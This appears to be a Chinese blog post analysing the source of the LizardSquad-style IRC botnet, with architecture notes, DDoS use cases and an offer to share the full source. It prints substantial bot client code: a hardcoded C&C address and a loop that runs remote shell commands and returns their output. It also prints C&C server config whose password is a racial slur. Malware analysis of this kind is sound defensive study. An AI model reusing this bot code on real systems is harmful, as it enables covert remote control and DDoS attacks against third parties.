首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >BotnetLinuxLizardSquard IRC僵尸网络系统分析

BotnetLinuxLizardSquard IRC僵尸网络系统分析

作者头像
qife122
发布2025-06-16 09:12:23
发布2025-06-16 09:12:23
17800
代码可运行
举报
运行总次数:0
代码可运行

系统架构分析

1. 系统概述

BotnetLinuxLizardSquard是一个典型的IRC僵尸网络系统,包含两部分组件:

  • Bot客户端(client.c):运行在被控主机上的恶意程序
  • C&C控制服务器(server.c):用于集中管理僵尸网络的命令控制中心

2. 核心功能

Bot客户端主要功能

代码语言:javascript
代码运行次数:0
运行
复制
// 网络连接配置
unsigned char *commServer[] = {
    "93.174.93.113:164" // C&C服务器地址
};
// 协议定义
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
- 通过硬编码的IRC服务器地址建立连接
- 实现Telnet协议交互功能
- 包含大量网络操作头文件(socket/ip/tcp/udp等)
代码语言:javascript
代码运行次数:0
运行
复制
int main(int argc, unsigned char *argv[])
{
    // 检查服务器列表有效性
    if(SERVER_LIST_SIZE <= 0) return 0;
    // 初始化随机数生成器(使用时间和进程ID的双重随机源)
    srand(time(NULL) ^ getpid());
    init_rand(time(NULL) ^ getpid());
    // 进程控制相关变量
    pid_t pid1;
    pid_t pid2;
    int status;
    // 获取本机网络信息
    getOurIP();
    zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
    // 双重fork守护进程化
    if (pid1 = fork()) {
        waitpid(pid1, &status, 0);
        exit(0);    // 父进程退出
    } else if (!pid1) {
        if (pid2 = fork()) {
            exit(0); // 二级父进程退出
        } else if (!pid2) {
            // 子进程继续执行
        } else {
            zprintf("fork failed\n");
        }
    } else {
        zprintf("fork failed\n");
    }
    // 完全脱离终端控制
    setsid();       // 创建新会话
    chdir("/");     // 切换到根目录
    signal(SIGPIPE, SIG_IGN); // 忽略管道断开信号
    // 主通信循环
    while(1)
    {
        // 初始化连接(失败时重试)
        if(initConnection()) { 
            printf("Failed to connect...\n"); 
            sleep(5); 
            continue; 
        }
        // 发送构建版本信息
        sockprintf(mainCommSock, "BUILD %s", getBuild());
        // 命令处理循环
        char commBuf[4096];
        int got = 0;
        int i = 0;
        while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
        {
            // 清理僵尸进程(动态维护进程列表)
            for (i = 0; i < numpids; i++) {
                if (waitpid(pids[i], NULL, WNOHANG) > 0) {
                    // 动态调整进程数组
                    unsigned int *newpids, on;
                    for (on = i + 1; on < numpids; on++) 
                        pids[on-1] = pids[on];
                    pids[on - 1] = 0;
                    numpids--;
                    newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
                    for (on = 0; on < numpids; on++) 
                        newpids[on] = pids[on];
                    free(pids);
                    pids = newpids;
                }
            }
            commBuf[got] = 0x00;
            trim(commBuf); // 去除空白字符
            // 基础心跳检测
            if(strstr(commBuf, "PING") == commBuf) {
                sockprintf(mainCommSock, "PONG");
                continue;
            }
            // 自毁指令
            if(strstr(commBuf, "DUP") == commBuf) exit(0);
            // 命令解析(格式:!<目标> <命令> <参数>)
            unsigned char *message = commBuf;
            if(*message == '!') {
                // 提取目标标识
                unsigned char *nickMask = message + 1;
                while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
                if(*nickMask == 0x00) continue;
                *(nickMask) = 0x00;
                nickMask = message + 1;
                // 提取命令内容
                message = message + strlen(nickMask) + 2;
                while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') 
                    message[strlen(message) - 1] = 0x00;
                // 命令分词处理
                unsigned char *command = message;
                while(*message != ' ' && *message != 0x00) message++;
                *message = 0x00;
                message++;
                // 命令标准化(转大写)
                unsigned char *tmpcommand = command;
                while(*tmpcommand) { 
                    *tmpcommand = toupper(*tmpcommand); 
                    tmpcommand++; 
                }
                // 处理系统命令(SH指令)
                if(strcmp(command, "SH") == 0) {
                    unsigned char buf[1024];
                    int command;
                    if (listFork()) continue; // 创建子进程
                    memset(buf, 0, 1024);
                    szprintf(buf, "%s 2>&1", message); // 执行命令并重定向错误输出
                    command = fdpopen(buf, "r");        // 执行命令
                    // 逐行发送执行结果
                    while(fdgets(buf, 1024, command) != NULL) {
                        trim(buf);
                        sockprintf(mainCommSock, "%s", buf);
                        memset(buf, 0, 1024);
                        sleep(1); // 结果分块发送
                    }
                    fdpclose(command);
                    exit(0); // 子进程退出
                }
                // 通用命令处理(参数数组构建)
                unsigned char *params[10];
                int paramsCount = 1;
                unsigned char *pch = strtok(message, " ");
                params[0] = command;
                while(pch) {
                    if(*pch != '\n') {
                        params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
                        memset(params[paramsCount], 0, strlen(pch) + 1);
                        strcpy(params[paramsCount], pch);
                        paramsCount++;
                    }
                    pch = strtok(NULL, " ");
                }
                processCmd(paramsCount, params); // 核心命令分发
                // 清理动态分配的内存
                if(paramsCount > 1) {
                    int q = 1;
                    for(q = 1; q < paramsCount; q++) {
                        free(params[q]);
                    }
                }
            }
        }
        printf("Link closed by server.\n");
    }
    return 0;
}

C&C服务器主要功能

代码语言:javascript
代码运行次数:0
运行
复制
#define MY_MGM_PASS "nigger" // 管理密码
#define MY_MGM_PORT 8888 // 控制端口
#define MAXFDS 1000000 // 最大连接数
struct clientdata_t {
    uint32_t ip;
    char build[7];
    char connected;
} clients[MAXFDS];
- 支持大规模僵尸主机管理(MAXFDS=1000000)
- 使用epoll实现高性能IO复用
- 包含客户端状态管理结构体
- 提供密码认证机制

3. 核心技术

  1. 网络通信技术
    • 原始套接字编程
    • 非阻塞IO(fcntl设置O_NONBLOCK)
    • epoll事件驱动模型
  2. 僵尸网络控制协议
    • 自定义基于IRC的C&C协议
    • Telnet选项协商机制
  3. 系统架构
    • 星型拓扑结构(中心化控制)
    • 多线程处理(pthread.h)

4. 应用场景

  1. 分布式拒绝服务攻击(DDoS)
    • 代码中包含原始套接字和IP/UDP头操作
    • 可发起SYN/ACK/UDP Flood等攻击
  2. 僵尸网络租赁
    • LizardStresserDDoS租赁服务
  3. 远程控制
    • 完整的C&C通信框架
    • 支持大规模主机管理

5. 系统总结

这是一个完整的僵尸网络实现,具有以下特点:

  • 跨平台性:使用标准C库,可交叉编译到多种架构
  • 隐蔽性:通过IRC协议伪装正常流量
  • 高性能:采用epoll和非阻塞IO处理大规模连接
  • 商业化:代码注释显示其可能用于DDoS租赁服务
  • 恶意性:包含攻击功能模块和比特币支付相关说明

IRC僵尸网络系统的技术复杂度较高,具备真实世界僵尸网络的典型特征,包括C&C通信、大规模节点管理、攻击功能集成等模块。

需要源代码研究的同学可以在公众号回复“LizardSquard”下载即可,下载的源代码可以用于编译后做二进制病毒分析跟源代码进行对比学习。但不可用于做坏事,否则后果自负。这些源代码也可以用作AI分析的元数据,喂给AI吃,等代码量足够多了,即可实现一个deepseek或者其他AI病毒分析智能体(Agent)。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全技术点滴分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 系统架构分析
    • 1. 系统概述
    • 2. 核心功能
      • Bot客户端主要功能
      • C&C服务器主要功能
    • 3. 核心技术
    • 4. 应用场景
    • 5. 系统总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档